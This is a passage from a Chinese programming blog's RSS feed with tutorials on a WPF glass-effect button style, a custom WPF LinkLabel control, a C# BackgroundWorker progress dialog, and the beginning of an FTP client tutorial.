&lt;p&gt;玻璃按钮样式包含了三层。组织了玻璃效果（Glass Effect）和一个ContentPresenter 来存储按钮的内容。所有的这些层都在一个最外层的Grid里。当鼠标放到按钮上，按下去的时候也定义了一些触发器（Triggers），来增加一些交互。&lt;/p&gt;
&lt;p&gt;我把这个样式做成了资源文件。但是这个Key可以删除，来使得所有的按钮都是这个效果。&lt;/p&gt;
&lt;p&gt;好我们来看一下这些层次。这些被广泛应用在微软产品中的按钮。&lt;/p&gt;
&lt;p&gt;**3.按钮层次 **&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1背景层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一层是一个椭圆。其实是一个canvas，一会在上面画反射和折射层，填充的颜色和按钮的背景（Background）关联。&lt;/p&gt;
&lt;p&gt;下面是Blend中的截图&lt;/p&gt;
&lt;p&gt;图2
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28012_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2443ed6bf6b648418ee018a527c9a76eaf277716.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;!-- Background Layer --&amp;gt;
&amp;lt;Ellipse Fill=&#34;{TemplateBinding Background}&#34;/&amp;gt;&lt;/pre&gt;
&lt;!-- Background Layer --&gt;
&lt;p&gt;&lt;strong&gt;3.1.1折射层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第二层模拟了光从上到下的折射。被放在反射层之前是因为，要达到反光玻璃的效果，反射层必须在按钮的中间某处有一个硬边缘。这一层实际上是另一个椭圆。但是这次。我们使用一个径向渐变（白色-透明）的填充。来模拟光的折射。渐变开始于第一层底部的中央。结束于上面的中间。然而。为了降低折射光的强度。渐变还是开始于椭圆的底部再下一点为好。可以从图上和代码里清晰的看到。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28013_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9d0d815903ff370933cfca9fcd669ae09996e045.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;&amp;lt;!-- Refraction Layer --&amp;gt;
&amp;lt;Ellipse x:Name=&#34;RefractionLayer&#34;&amp;gt;
  &amp;lt;Ellipse.Fill&amp;gt;
  &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.496,1.052&#34;&amp;gt;
    &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;TransformGroup&amp;gt;
        &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; 
          CenterY=&#34;0.5&#34; ScaleX=&#34;1.5&#34; ScaleY=&#34;1.5&#34;/&amp;gt;
        &amp;lt;TranslateTransform X=&#34;0.02&#34; Y=&#34;0.3&#34;/&amp;gt;
      &amp;lt;/TransformGroup&amp;gt;
    &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
    &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#00000000&#34;/&amp;gt;
    &amp;lt;GradientStop Offset=&#34;0.4&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
    &amp;lt;/RadialGradientBrush&amp;gt;
  &amp;lt;/Ellipse.Fill&amp;gt;
&amp;lt;/Ellipse&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;!-- Refraction Layer --&gt;
&lt;p&gt;&lt;strong&gt;3.1.2反射层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第三层是光的反射层。是最难的部分。问题是反射效果不能使用任何标准的形状来画。因此。使用路径（Path）来画反射区域。当时。手工画也是可以的。但老实说。手工画图实在没什么可享受的（除非你是一个艺术家，或者有一个数位板），无论如何。我现在MS Blend中华好一个椭圆并转换成一个路径，然后我使用贝塞尔曲线点调整得到平滑的路径，你可以添加渐变到一个复杂的Path对象上。就像你对其他与定义的图形，比如椭圆，矩形所做的一样。为了得到光泽反射。我额每年需要一个透明-白色的径向渐变填充，从路径的底部开始（也就是按钮的中间某处），结束在顶部。我想如果我是一个艺术家。我会让渐变更准一点。可是我不是。因此。就这样。因为我们要把我们的按钮放在一个Grid里。所有我们设置VerticalAlignment=&amp;ldquo;Top&amp;rdquo; 这样反射区域在按钮的中间的结束了。&lt;/p&gt;
&lt;p&gt;图三
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28014_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a837470f0822bf1b924293855638d696dc4dba4a.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;&amp;lt;!-- Reflection Layer --&amp;gt;
&amp;lt;Path x:Name=&#34;ReflectionLayer&#34; VerticalAlignment=&#34;Top&#34; Stretch=&#34;Fill&#34;&amp;gt;
  &amp;lt;Path.RenderTransform&amp;gt;
    &amp;lt;ScaleTransform ScaleY=&#34;0.5&#34; /&amp;gt;
  &amp;lt;/Path.RenderTransform&amp;gt;
  &amp;lt;Path.Data&amp;gt;
    &amp;lt;PathGeometry&amp;gt;
      &amp;lt;PathFigure IsClosed=&#34;True&#34; StartPoint=&#34;98.999,45.499&#34;&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;98.999,54.170&#34; Point2=&#34;89.046,52.258&#34; 
           Point3=&#34;85.502,51.029&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;75.860,47.685&#34; 
           Point2=&#34;69.111,45.196&#34; Point3=&#34;50.167,45.196&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;30.805,45.196&#34; Point2=&#34;20.173,47.741&#34; 
           Point3=&#34;10.665,51.363&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;7.469,52.580&#34; 
           Point2=&#34;1.000,53.252&#34; Point3=&#34;1.000,44.999&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;1.000,39.510&#34; Point2=&#34;0.884,39.227&#34; 
           Point3=&#34;2.519,34.286&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;9.106,14.370&#34; 
           Point2=&#34;27.875,0&#34; Point3=&#34;50,0&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;72.198,0&#34; Point2=&#34;91.018,14.466&#34; 
           Point3=&#34;97.546,34.485&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;99.139,39.369&#34; 
           Point2=&#34;98.999,40.084&#34; Point3=&#34;98.999,45.499&#34;/&amp;gt;
      &amp;lt;/PathFigure&amp;gt;
    &amp;lt;/PathGeometry&amp;gt;
  &amp;lt;/Path.Data&amp;gt;
  &amp;lt;Path.Fill&amp;gt;
    &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.498,0.526&#34;&amp;gt;
      &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
        &amp;lt;TransformGroup&amp;gt;
          &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; 
            CenterY=&#34;0.5&#34; ScaleX=&#34;1&#34; ScaleY=&#34;1.997&#34;/&amp;gt;
          &amp;lt;TranslateTransform X=&#34;0&#34; Y=&#34;0.5&#34;/&amp;gt;
        &amp;lt;/TransformGroup&amp;gt;
      &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0.85&#34; Color=&#34;#92FFFFFF&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0&#34; Color=&#34;#00000000&#34;/&amp;gt;
    &amp;lt;/RadialGradientBrush&amp;gt;
  &amp;lt;/Path.Fill&amp;gt;
&amp;lt;/Path&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;!-- Reflection Layer --&gt;
&lt;p&gt;最后。我添加一个ContentPresenter 到按钮中间。经验告诉我，内容区域再向下一个像素会使得按钮看起来更漂亮。因此，在这里我用了margin属性（注意。因为内容区域在Grid的中间（Center）。所以2个像素的top实际上是向下移动了一个像素 ）&lt;/p&gt;
&lt;p&gt;好了。最后在Blend中看起来大概是这样&lt;/p&gt;
&lt;p&gt;图4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28011_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/19fbafa7ad1cde09eafc0f6a70ac27b576e6302c.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.添加一些交互性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.1鼠标悬停效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了有鼠标悬停效果，我们需要增加光源的亮度。因此。我们为IsMouseOver 事件定义一个触发器，复制并且粘贴反射和折射层的渐变设置代码。对于折射层。我仅仅移动了渐变的起点向上了一点。在反射层中。我改变了渐变停止点。使不透明的白色多一点。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Trigger Property=&#34;IsMouseOver&#34; Value=&#34;True&#34;&amp;gt;
  &amp;lt;Setter TargetName=&#34;RefractionLayer&#34; Property=&#34;Fill&#34;&amp;gt;
    &amp;lt;Setter.Value&amp;gt;
      &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.496,1.052&#34;&amp;gt;
        &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
          &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; CenterY=&#34;0.5&#34; 
               ScaleX=&#34;1.5&#34; ScaleY=&#34;1.5&#34;/&amp;gt;
            &amp;lt;TranslateTransform X=&#34;0.02&#34; Y=&#34;0.3&#34;/&amp;gt;
          &amp;lt;/TransformGroup&amp;gt;
        &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#00000000&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0.45&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
      &amp;lt;/RadialGradientBrush&amp;gt;
    &amp;lt;/Setter.Value&amp;gt;
  &amp;lt;/Setter&amp;gt;
  &amp;lt;Setter TargetName=&#34;ReflectionLayer&#34; Property=&#34;Fill&#34;&amp;gt;
    &amp;lt;Setter.Value&amp;gt;
      &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.498,0.526&#34;&amp;gt;
        &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
          &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; CenterY=&#34;0.5&#34; 
               ScaleX=&#34;1&#34; ScaleY=&#34;1.997&#34;/&amp;gt;
            &amp;lt;TranslateTransform X=&#34;0&#34; Y=&#34;0.5&#34;/&amp;gt;
          &amp;lt;/TransformGroup&amp;gt;
        &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
        &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
        &amp;lt;GradientStop Offset=&#34;0.85&#34; Color=&#34;#BBFFFFFF&#34;/&amp;gt;
        &amp;lt;GradientStop Offset=&#34;0&#34; Color=&#34;#00000000&#34;/&amp;gt;
      &amp;lt;/RadialGradientBrush&amp;gt;
    &amp;lt;/Setter.Value&amp;gt;
  &amp;lt;/Setter&amp;gt;
&amp;lt;/Trigger&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>自定义WPF LinkLabel 控件</title>
      <link>http://blog.leaver.me/2012/10/11/%E8%87%AA%E5%AE%9A%E4%B9%89wpf-linklabel-%E6%8E%A7%E4%BB%B6/</link>
      <pubDate>Thu, 11 Oct 2012 13:24:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/11/%E8%87%AA%E5%AE%9A%E4%B9%89wpf-linklabel-%E6%8E%A7%E4%BB%B6/</guid>
      <description>&lt;p&gt;WPF里是没有LinkLabel控件的。因此我自己写一个。首先。我们看一下WPF中什么类似的组件可以实现这个链接功能&lt;/p&gt;
&lt;p&gt;如果你想要模拟一个LinkLabel控件。你可以在TextBlock里使用内联的Hyperlink。像下面这样&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;TextBlock&amp;gt;
    &amp;lt;Hyperlink&amp;gt;
        &amp;lt;Run Text=&#34;Test link&#34;/&amp;gt;
    &amp;lt;/Hyperlink&amp;gt;
&amp;lt;/TextBlock&amp;gt;&lt;/pre&gt;
&lt;p&gt;你可以使用Label控件。加一个内联的HyperLink，但是我认为TextBlock更好。因为你可以在Expression Blend 中通过&lt;a href=&#34;http://msdn2.microsoft.com/en-us/library/system.windows.documents.inlinecollection.aspx&#34; title=&#34;InlineCollection&#34;&gt;InlineCollection&lt;/a&gt;  编辑所有子元素的属性&lt;/p&gt;
&lt;p&gt;图1&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27987_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2fbf37d3f59121424e1f68d6ac6e2a461f8e1ab9.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
虽然这种方法也行，但是我还是不太喜欢。因为我觉得我还是写一个类似windows窗体程序中的LinkLabel控件。然后我就做了。首先看一下控件的样子&lt;/p&gt;
&lt;p&gt;图2&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27988_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b4438242681c5adebadef5aff0f7f2145be09a43.gif&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第一个是默认的LinkLabel控件。第二个是LinkLabelBehavior 属性被设置为HoverUnderline ，第三个的Foreground和 HoverForeground 属性都使用了自定的颜色。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;LinkLabel控件支持的属性&lt;/p&gt;
&lt;p&gt;1.Foreground和 HoverForeground属性&lt;/p&gt;
&lt;p&gt;允许自定义这两个属性的值&lt;/p&gt;
&lt;p&gt;2.LinkLabelBehavior 属性&lt;/p&gt;
&lt;p&gt;允许设置下划线的显示与否&lt;/p&gt;
&lt;p&gt;3.自定义HyperlinkStyle 属性&lt;/p&gt;
&lt;p&gt;你可以使用这个属性给超链接设置自定义的样式。如果你已经自定了Foreground和 HoverForeground。则会被覆盖。&lt;/p&gt;
&lt;p&gt;Url 超链接的目标&lt;/p&gt;
&lt;p&gt;所有这些属性都继承自标准的System.Windows.Controls.Label 控件&lt;/p&gt;
&lt;p&gt;通过Blend/Xaml设置这些属性很简单&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;ThemedControlLibrary:LinkLabel Content=&#34;Link Label&#34; FontSize=&#34;22&#34;/&amp;gt;
&amp;lt;ThemedControlLibrary:LinkLabel Content=&#34;Link Label&#34; LinkLabelBehavour=&#34;HoverUnderline&#34; /&amp;gt;
&amp;lt;ThemedControlLibrary:LinkLabel Foreground=&#34;#FF847901&#34; HoverForeground=&#34;#FF06C8F2&#34; Content=&#34;Link Label&#34; LinkLabelBehavour=&#34;NeverUnderline&#34;/&amp;gt;&lt;/pre&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27989_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a3a5126a4aba4698c3916d5a9e92f4daa7d77b97.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后是控件的使用方法。仅仅添加命名空间到xaml中。然后使用就行了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Window
    xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
    xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
    x:Class=&#34;DemoApplication.Window1&#34;
    Title=&#34;DemoApplication&#34; Height=&#34;300&#34; Width=&#34;300&#34;
    xmlns:ThemedControlsLibrary=&#34;clr-namespace:ThemedControlsLibrary;assembly=ThemedControlsLibrary&#34;
    &amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;ThemedControlsLibrary:LinkLabel HorizontalAlignment=&#34;Left&#34; VerticalAlignment=&#34;Top&#34; Content=&#34;LinkLabel&#34;/&amp;gt;
    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;控件的完整代码很简单。就定义一下需要的属性，和控制这些属性应该显示在Blend中的（category）目录位置就行了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class LinkLabel : Label
{
    private const string _linkLabel = &#34;LinkLabel&#34;;

    public static readonly DependencyProperty UrlProperty = DependencyProperty.Register(&#34;Url&#34;, typeof(Uri), typeof(LinkLabel));

    [Category(&#34;Common Properties&#34;), Bindable(true)]
    public Uri Url
    {
        get { return GetValue(UrlProperty) as Uri; }
        set { SetValue(UrlProperty, value); }
    }

    public static readonly DependencyProperty HyperlinkStyleProperty = DependencyProperty.Register(&#34;HyperlinkStyle&#34;, typeof(Style),
            typeof(LinkLabel));

    public Style HyperlinkStyle
    {
        get { return GetValue(HyperlinkStyleProperty) as Style; }
        set { SetValue(HyperlinkStyleProperty, value); }
    }

    public static readonly DependencyProperty HoverForegroundProperty = DependencyProperty.Register(&#34;HoverForeground&#34;, typeof(Brush),
            typeof(LinkLabel));

    [Category(&#34;Brushes&#34;), Bindable(true)]
    public Brush HoverForeground
    {
        get { return GetValue(HoverForegroundProperty) as Brush; }
        set { SetValue(HoverForegroundProperty, value); }
    }

    public static readonly DependencyProperty LinkLabelBehavourProperty = DependencyProperty.Register(&#34;LinkLabelBehavour&#34;,            typeof(LinkLabelBehaviour),     typeof(LinkLabel));

    [Category(&#34;Common Properties&#34;), Bindable(true)]
    public LinkLabelBehaviour LinkLabelBehavour
    {
        get { return (LinkLabelBehaviour)GetValue(LinkLabelBehavourProperty); }
        set { SetValue(LinkLabelBehavourProperty, value); }
    }

    static LinkLabel()
    {
        FrameworkElement.DefaultStyleKeyProperty.OverrideMetadata(
            typeof(LinkLabel),
            new FrameworkPropertyMetadata(typeof(LinkLabel)));
    }

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C#制作进度窗体</title>
      <link>http://blog.leaver.me/2012/10/10/c%23%E5%88%B6%E4%BD%9C%E8%BF%9B%E5%BA%A6%E7%AA%97%E4%BD%93/</link>
      <pubDate>Wed, 10 Oct 2012 09:07:41 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/10/c%23%E5%88%B6%E4%BD%9C%E8%BF%9B%E5%BA%A6%E7%AA%97%E4%BD%93/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是我在CodeProject上的第一篇文章。我希望对你有用&lt;/p&gt;
&lt;p&gt;当我开发软件的时候。我通常因为一个很耗时是任务需要完成。而请求让用户等待，并且通过也允许用户取消。不论我做何种操作（比如下载文件。保存大文件等等）。我都需要做下面几件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过一个模态对话框来让用户等待操作完成&lt;/li&gt;
&lt;li&gt;能让用户看到进度。&lt;/li&gt;
&lt;li&gt;能让用户随时取消。
我搜了好久也没找到拿来就能用的窗体控件，也许是我没找到。于是我自己写。。
图1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9f46aad8d865255936532f68d592d8ffd45b8b3d.jpg&#34; title=&#34;progress&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BackgroundWorker 类包含了我需要完成任务的所有东西。我只需要给他提供一个对话框。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ProgressForm 包含了一个BackgroundWorker ，你要做的仅仅就是提供了一个完成工作的方法。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;ProgressForm form = new ProgressForm();
form.DoWork += new ProgressForm.DoWorkEventHandler(form_DoWork);
//如果想为后台任务提供参数的话
form.Argument = something;&lt;/pre&gt;
&lt;p&gt;为了开始BackgroundWorker，只需要调用ShowDialog 方法。返回值则取决于任务是怎么完成的。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;DialogResult result = form.ShowDialog();
if (result == DialogResult.Cancel)
{
//用户点击了取消
}
else if (result == DialogResult.Abort)
{
/未处理的异常抛出
//你可以得到异常信息
MessageBox.Show(form.Result.Error.Message);
}
else if (result == DialogResult.OK)
{
//正常完成
//结果存储在 form.Result里
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后。任务方法看起来是这样的。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;void form_DoWork(ProgressForm sender, DoWorkEventArgs e)
{
//得到参数
object myArgument = e.Argument;

//做一些耗时的任务...
for (int i = 0; i &amp;lt; 100; i++)
{
//通知进度
sender.SetProgress(i, &#34;Step &#34; + i.ToString() + &#34; / 100...&#34;);

//...

//检查是否点击了取消
if (sender.CancellationPending)
{
e.Cancel = true;
return;
}
}
}&lt;/pre&gt;
&lt;p&gt;如果你想要改改进度条，或者进度条显示的文本。SetProgress 有一些重载的方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public void SetProgress(string status);
public void SetProgress(int percent);
public void SetProgress(int percent, string status);&lt;/pre&gt;
&lt;p&gt;最后一个可自定义的字符串是：有两个预定义的字符串CancellingText 和DefaultStatusText. CancellingText ，这两个字符串，当用户点击取消的时候显示&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如何实现&lt;/strong&gt;
ProgressForm 紧紧嵌入了一个BackgroundWorker ，并包装进了主函数。&lt;/p&gt;
&lt;p&gt;首先。我设计了如图所示的一个窗体，然后。添加了BackgroundWorker。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public partial class ProgressForm : Form
{
public ProgressForm()
{
InitializeComponent();

worker = new BackgroundWorker();
worker.WorkerReportsProgress = true;
worker.WorkerSupportsCancellation = true;
worker.DoWork += new System.ComponentModel.DoWorkEventHandler(worker_DoWork);
worker.ProgressChanged += new ProgressChangedEventHandler(
worker_ProgressChanged);
worker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(
worker_RunWorkerCompleted);
}
void worker_DoWork(object sender, DoWorkEventArgs e)
{
}
void worker_ProgressChanged(object sender, ProgressChangedEventArgs e)
{
}
void worker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
{
}
BackgroundWorker worker;
}&lt;/pre&gt;
&lt;p&gt;我们必须把DoWork事件暴露给用户。我添加了一个委托。这样。我可以很容易的访问窗体成员&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写FTP客户端软件</title>
      <link>http://blog.leaver.me/2012/10/09/c%23%E7%BC%96%E5%86%99ftp%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BD%AF%E4%BB%B6/</link>
      <pubDate>Tue, 09 Oct 2012 09:06:16 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/09/c%23%E7%BC%96%E5%86%99ftp%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BD%AF%E4%BB%B6/</guid>
      <description>&lt;h1&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27933_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/df5f8fbfeaeabe639c893a078ddeda6cac4361db.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;h1 id=&#34;1-介绍&#34;&gt;1 介绍&lt;/h1&gt;
&lt;p&gt;我知道。网上有很多现成的FTP软件。但是。我们也想要了解FTP的一些底层机构，因此。 这个开源的项目在你学习FTP知识的时候也许对你有些帮组。程序的界面看起来像FileZilla，FileZilla虽然流行但是有些bug，当我打开我博客的时候总是有问题。我需要通过FTP连接我的服务器。发送文件，下载文件等等。因为。我决定写我自己的软件来处理所有的情况。FileZilla足够好。但它不是我的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;2-背景&#34;&gt;2 背景&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;看看我们已经知道的。我们知道FTP是一个标准的基于TCP网络协议。用于从一个主机向另一个主机传输文件。它是一个C/S架构。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;图2&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27934_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ceb7abd419bd3e983fa8f9cbf1962546cc0880a4.gif&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;FTP程序曾经是基于命令行的。我们仍沿可以通过cmd.exe连接FTP服务器。因为FTP的确可以通过命令来操作。举个例子。我们可以在命令行使用“stor”命令来发送文件。为了完成这些请求。FTP服务器需要一直运行等待即将到来的客户端请求。我们可以从来自维基百科的解释更好的理解FTP：&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;客户端计算机可以通过服务器的21端口和服务器通信。叫做控制连接。它在一次会话期间保持开放。第一次连接的时候。叫做数据连接,服务器可以对客户端打开20端口（主动模式），建立一条数据通路，连接上客户端传输数据。或者客户端打开一个随机的端口（被动模式），去连接服务器，来传输数据。控制连接使用一个类似Telnet的协议，被用作客户端和服务器会话管理（命令，标识，密码）。。比如。&amp;ldquo;RETR &lt;em&gt;filename&lt;/em&gt;&amp;rdquo;  会从服务器端下载文件。&lt;/p&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9c06cc0d8d904390202ef269a18467324df590c9.gif&#34; title=&#34;3&#34;&gt;&lt;/p&gt;
&lt;p&gt;一个完整的FTP文件传输需要建立两种类型的连接，一种为文件传输下命令，称为控制连接，另一种实现真正的文件传输，称为数据连接。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;服务器 通过三位ASCII的数字状态码，可能包含可选的描述信息，在控制连接上做出回应。比如。“200”或者是“200 OK”,表示上一条命令成功了。数字代表编号，描述信息给出了一些说明（比如“OK”）,或者可能是一些需要的参数(比如需要帐号来存储文件)，那么我们需要怎么做呢。很明显。发送命令，接收“OK”回应，发送数据。接收数据。完了。但是首先需要服务器已经准备好了。FTP服务器可以在主动和被动两种模式下运行。主动模式是基于服务器的连接而被动模式是基友客户端的连接。继续看。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在主动连接中，客户端把自己的ip和端口发送给服务器。然后服务器尝试连接到客户端，但是可能会因为防火墙的原因而被拒绝。我们在windows上都会使用反病毒/自带防火墙。是吧。那么我们来看看被动模式&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在被动连接中。服务器通过一个“PASV”命令把自己的ip和端口发送给客户端。然后客户端通过该IP尝试连接服务器。对于发送文件非常有用。当我们发送文件的时候。优先使用“PASV”模式，如你们所说。大多数协议。像FTP/HTTP 使用ASCII编码，因为全球可用。因此我们会使用这种编码。你可以从下面得到FTP的命令列表&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;主动和被动都是对于服务器端来说的&lt;/p&gt;
&lt;h1 id=&#34;3-使用代码&#34;&gt;3 使用代码&lt;/h1&gt;
&lt;p&gt;现在我们已经为编写软件做好准备了。我们写些有用的代码吧。：）首先。我们“打开文件对话框”，集成到我们的窗体里。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;31-资源管理器组件&#34;&gt;3.1 资源管理器组件&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们需要一个资源管理器组件在软件界面可以看到我们所有的文件。这样我们才可以选择哪些文件来发送到FTP服务器，新建一个Windows窗体控件库（下载包中提供了）&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;图四&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27937_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b2ae5f59d51b1a183a0ceea50a2c9497971422e7.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后看起来样子是上面这样。先添加一个TreeView，一些按钮，和一个搜索功能&lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;TreeView.Nodes.Clear();
